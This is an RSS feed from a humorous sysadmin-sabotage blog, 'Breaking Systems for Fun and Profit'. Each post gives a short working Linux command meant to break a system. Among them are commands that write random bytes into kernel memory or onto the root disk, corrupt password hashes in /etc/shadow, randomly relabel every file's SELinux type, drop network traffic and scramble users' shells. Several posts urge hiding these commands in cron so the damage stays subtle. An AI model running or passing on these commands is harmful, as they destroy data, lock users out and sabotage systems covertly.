<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Breaking Systems for Fun and Profit</title>
	<atom:link href="http://breakingsystemsforfunandprofit.com/feed" rel="self" type="application/rss+xml" />
	<link>http://breakingsystemsforfunandprofit.com</link>
	<description>You _can_ stop the signal.</description>
	<lastBuildDate>Fri, 30 Mar 2012 13:52:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>We are all the same&#8230;</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/222</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/222#comments</comments>
		<pubDate>Fri, 30 Mar 2012 13:52:31 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Multipath Madness]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=222</guid>
		<description><![CDATA[To have some fun add the following line to the defaults and all device sections of your /etc/multipath.conf file: getuid_callout "echo byebyestorage"]]></description>
			<content:encoded><![CDATA[<p>To have some fun add the following line to the <code>defaults</code> and all <code>device</code> sections of your <code>/etc/multipath.conf</code> file:</p>
<pre>getuid_callout  "echo byebyestorage"</pre>
]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/222/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Russian Roulette</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/213</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/213#comments</comments>
		<pubDate>Mon, 30 Jan 2012 15:55:58 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Bash Bonanza]]></category>
		<category><![CDATA[Kernel Capers]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=213</guid>
		<description><![CDATA[This one was sent in by DIVI: dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM This would be a nice one to hide somewhere in /etc/cron.d/&#8230;]]></description>
			<content:encoded><![CDATA[<p>This one was sent in by <a href="http://divinet.pl">DIVI</a>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>random <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>kmem <span style="color: #007800;">count</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">bs</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">seek</span>=<span style="color: #007800;">$RANDOM</span></pre></div></div>

<p>This would be a nice one to hide somewhere in <code>/etc/cron.d/</code>&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/213/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subtle login problem</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/205</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/205#comments</comments>
		<pubDate>Tue, 05 Apr 2011 11:20:59 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Bash Bonanza]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=205</guid>
		<description><![CDATA[This one was sent in by Ed van der Salm: sed -i 's/:$6/:$5/g' /etc/shadow Thanks Ed!]]></description>
			<content:encoded><![CDATA[<p>This one was sent in by Ed van der Salm:</p>
<pre lang=bash>sed -i 's/:$6/:$5/g' /etc/shadow
</pre>
<p>Thanks Ed!</p>
]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/205/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Now that&#8217;s a proper startup</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/199</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/199#comments</comments>
		<pubDate>Mon, 17 May 2010 09:58:45 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Init Influences]]></category>
		<category><![CDATA[init]]></category>
		<category><![CDATA[rc]]></category>
		<category><![CDATA[sed]]></category>
		<category><![CDATA[startup]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=199</guid>
		<description><![CDATA[sed -i 's/runlevel=&#34;\$argv1&#34;/runlevel=&#34;\$\[\{RANDOM\} % 7 \]&#34;/' /etc/rc.d/rc]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">'s/runlevel=&quot;\$argv1&quot;/runlevel=&quot;\$\[\{RANDOM\} % 7 \]&quot;/'</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>rc.d<span style="color: #000000; font-weight: bold;">/</span>rc</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/199/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Defaults are fine, right?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/196</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/196#comments</comments>
		<pubDate>Fri, 14 May 2010 10:08:42 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[SELinux Shootout]]></category>
		<category><![CDATA[defaults]]></category>
		<category><![CDATA[selinux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=196</guid>
		<description><![CDATA[chcon -t default_t /]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">chcon <span style="color: #660033;">-t</span> default_t <span style="color: #000000; font-weight: bold;">/</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/196/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Connecting&#8230;</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/193</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/193#comments</comments>
		<pubDate>Thu, 13 May 2010 10:27:43 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Network Nuisances]]></category>
		<category><![CDATA[ip_rule]]></category>
		<category><![CDATA[networking]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=193</guid>
		<description><![CDATA[ip rule add to 0.0.0.0/0 unreachable]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">ip rule add to 0.0.0.0<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">0</span> unreachable</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/193/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SELinux fun</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/187</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/187#comments</comments>
		<pubDate>Wed, 12 May 2010 16:17:55 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[SELinux Shootout]]></category>
		<category><![CDATA[arrays]]></category>
		<category><![CDATA[selinux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=187</guid>
		<description><![CDATA[TYPES=&#40;$&#40;seinfo -t &#124; tail -n+3&#41;&#41; for FILE in $&#40;find /&#41;; do chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} &#93;&#93;&#125; ${FILE} done&#41; &#38;&#62; /dev/null]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">TYPES</span>=<span style="color: #7a0874; font-weight: bold;">&#40;</span>$<span style="color: #7a0874; font-weight: bold;">&#40;</span>seinfo <span style="color: #660033;">-t</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">tail</span> -n+<span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">for</span> FILE <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span>
    chcon <span style="color: #660033;">-t</span> <span style="color: #800000;">${TYPES[$[ ${RANDOM}</span> <span style="color: #000000; font-weight: bold;">%</span> <span style="color: #800000;">${#TYPES[@]}</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span> <span style="color: #800000;">${FILE}</span>
<span style="color: #000000; font-weight: bold;">done</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/187/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>N[eo]tworking&#8230;</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/184</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/184#comments</comments>
		<pubDate>Wed, 17 Feb 2010 14:11:36 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Network Nuisances]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[random]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=184</guid>
		<description><![CDATA[iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">iptables <span style="color: #660033;">-I</span> INPUT <span style="color: #000000;">1</span> <span style="color: #660033;">-m</span> statistic <span style="color: #660033;">--mode</span> random <span style="color: #660033;">--probability</span> <span style="color: #000000;">0.25</span> <span style="color: #660033;">-j</span> DROP</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/184/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Accelerated bitrot</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/180</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/180#comments</comments>
		<pubDate>Mon, 18 Jan 2010 17:53:41 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Filesystem Follies]]></category>
		<category><![CDATA[dd]]></category>
		<category><![CDATA[rootfs]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=180</guid>
		<description><![CDATA[Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time: ROOTDEV=$&#40;df -h / &#124; sed -n '2p' &#124; cut -d ' ' -f1&#41; ROOTSZ=$&#91;$&#40;blockdev --getsz ${ROOTDEV}&#41; * 512&#93; LOCATION=$&#91;${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}&#93; dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} [...]]]></description>
			<content:encoded><![CDATA[<p>Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">ROOTDEV</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">df</span> <span style="color: #660033;">-h</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">'2p'</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">' '</span> -f1<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">ROOTSZ</span>=$<span style="color: #7a0874; font-weight: bold;">&#91;</span>$<span style="color: #7a0874; font-weight: bold;">&#40;</span>blockdev <span style="color: #660033;">--getsz</span> <span style="color: #800000;">${ROOTDEV}</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">512</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #007800;">LOCATION</span>=$<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">%</span> <span style="color: #800000;">${ROOTSZ}</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>urandom <span style="color: #007800;">of</span>=<span style="color: #800000;">${ROOTDEV}</span> <span style="color: #007800;">bs</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">count</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">seek</span>=<span style="color: #800000;">${LOCATION}</span> <span style="color: #007800;">conv</span>=notrunc</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/180/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>We don&#8217;t play favourites.</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/176</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/176#comments</comments>
		<pubDate>Tue, 12 Jan 2010 19:28:09 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Bash Bonanza]]></category>
		<category><![CDATA[chsh]]></category>
		<category><![CDATA[random]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=176</guid>
		<description><![CDATA[Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve: for I in $&#40;getent passwd &#124; cut -d: -f1 &#41; do chsh -s $&#40;sort -R /etc/shells &#124; head -n1&#41; ${I} done]]></description>
			<content:encoded><![CDATA[<p>Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">for</span> I <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">getent</span> <span style="color: #c20cb9; font-weight: bold;">passwd</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> -d: <span style="color: #660033;">-f1</span> <span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">do</span>
    <span style="color: #c20cb9; font-weight: bold;">chsh</span> <span style="color: #660033;">-s</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #660033;">-R</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>shells <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">head</span> -n1<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #800000;">${I}</span>
<span style="color: #000000; font-weight: bold;">done</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/176/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

